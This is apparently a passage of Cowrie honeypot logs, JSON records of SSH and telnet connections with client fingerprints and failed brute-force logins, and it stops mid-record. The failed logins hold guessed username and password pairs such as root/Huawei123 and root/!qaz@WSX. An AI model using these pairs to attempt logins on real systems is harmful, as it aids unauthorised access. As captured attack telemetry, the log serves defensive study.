{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:14.127953Z","src_ip":"91.92.40.13","session":"bc147dff5d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:14.132978Z","src_ip":"91.92.40.13","session":"bc147dff5d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43530,"dst_ip":"10.17.0.5","dst_port":22,"session":"8888754be061","protocol":"ssh","message":"New connection: 165.154.137.186:43530 (10.17.0.5:22) [session: 8888754be061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:14.528776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:14.533449Z","src_ip":"165.154.137.186","session":"8888754be061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:14.790945Z","src_ip":"165.154.137.186","session":"8888754be061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:15.564696Z","src_ip":"165.154.137.186","session":"8888754be061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1","message":"login attempt [developer/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:15.631149Z","src_ip":"91.92.40.13","session":"bc147dff5d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:16.858954Z","src_ip":"165.154.137.186","session":"8888754be061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:17.027364Z","src_ip":"91.92.40.13","session":"bc147dff5d15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39958,"dst_ip":"159.203.135.109","dst_port":23,"session":"f18c0213bf7d","protocol":"telnet","message":"New connection: 128.199.8.54:39958 (159.203.135.109:23) [session: f18c0213bf7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:22.087094Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41806,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fca0fdca00a","protocol":"ssh","message":"New connection: 165.154.137.186:41806 (10.17.0.5:22) [session: 3fca0fdca00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:22.665199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:22.678947Z","src_ip":"165.154.137.186","session":"3fca0fdca00a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:22.921632Z","src_ip":"165.154.137.186","session":"3fca0fdca00a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:23.948302Z","src_ip":"165.154.137.186","session":"3fca0fdca00a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:25.243851Z","src_ip":"165.154.137.186","session":"3fca0fdca00a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48598,"dst_ip":"159.203.135.109","dst_port":23,"session":"641682d5fafb","protocol":"telnet","message":"New connection: 172.81.62.90:48598 (159.203.135.109:23) [session: 641682d5fafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:30.442112Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36106,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c924fe451b9","protocol":"ssh","message":"New connection: 165.154.137.186:36106 (10.17.0.5:22) [session: 9c924fe451b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:31.145993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:31.150227Z","src_ip":"165.154.137.186","session":"9c924fe451b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:31.405500Z","src_ip":"165.154.137.186","session":"9c924fe451b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:32.172817Z","src_ip":"165.154.137.186","session":"9c924fe451b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:33.430265Z","src_ip":"165.154.137.186","session":"9c924fe451b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36122,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c038149cca5","protocol":"ssh","message":"New connection: 165.154.137.186:36122 (10.17.0.5:22) [session: 7c038149cca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:39.126008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:39.130457Z","src_ip":"165.154.137.186","session":"7c038149cca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:39.398002Z","src_ip":"165.154.137.186","session":"7c038149cca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:40.200701Z","src_ip":"165.154.137.186","session":"7c038149cca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:41.470581Z","src_ip":"165.154.137.186","session":"7c038149cca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58812,"dst_ip":"10.17.0.5","dst_port":22,"session":"29a677f34cb9","protocol":"ssh","message":"New connection: 165.154.137.186:58812 (10.17.0.5:22) [session: 29a677f34cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:46.732349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:46.736803Z","src_ip":"165.154.137.186","session":"29a677f34cb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:46.992284Z","src_ip":"165.154.137.186","session":"29a677f34cb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:47.758869Z","src_ip":"165.154.137.186","session":"29a677f34cb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:49.019778Z","src_ip":"165.154.137.186","session":"29a677f34cb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":56976,"dst_ip":"159.203.135.109","dst_port":22,"session":"44ba686dd6a4","protocol":"ssh","message":"New connection: 85.198.19.241:56976 (159.203.135.109:22) [session: 44ba686dd6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:59.080120Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58450,"dst_ip":"10.17.0.5","dst_port":22,"session":"65ef9883e38f","protocol":"ssh","message":"New connection: 165.154.137.186:58450 (10.17.0.5:22) [session: 65ef9883e38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:02.425541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:02.432762Z","src_ip":"165.154.137.186","session":"65ef9883e38f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:02.686169Z","src_ip":"165.154.137.186","session":"65ef9883e38f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:03.447535Z","src_ip":"165.154.137.186","session":"65ef9883e38f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:04.712562Z","src_ip":"165.154.137.186","session":"65ef9883e38f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:05.051133Z","src_ip":"85.198.19.241","session":"44ba686dd6a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:05.054487Z","src_ip":"85.198.19.241","session":"44ba686dd6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.801252365112305,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:06.888237Z","src_ip":"128.199.8.54","session":"f18c0213bf7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":57056,"dst_ip":"10.17.0.5","dst_port":22,"session":"88cc465f1063","protocol":"ssh","message":"New connection: 38.148.249.2:57056 (10.17.0.5:22) [session: 88cc465f1063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:07.457034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:37:07.464291Z","src_ip":"38.148.249.2","session":"88cc465f1063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521"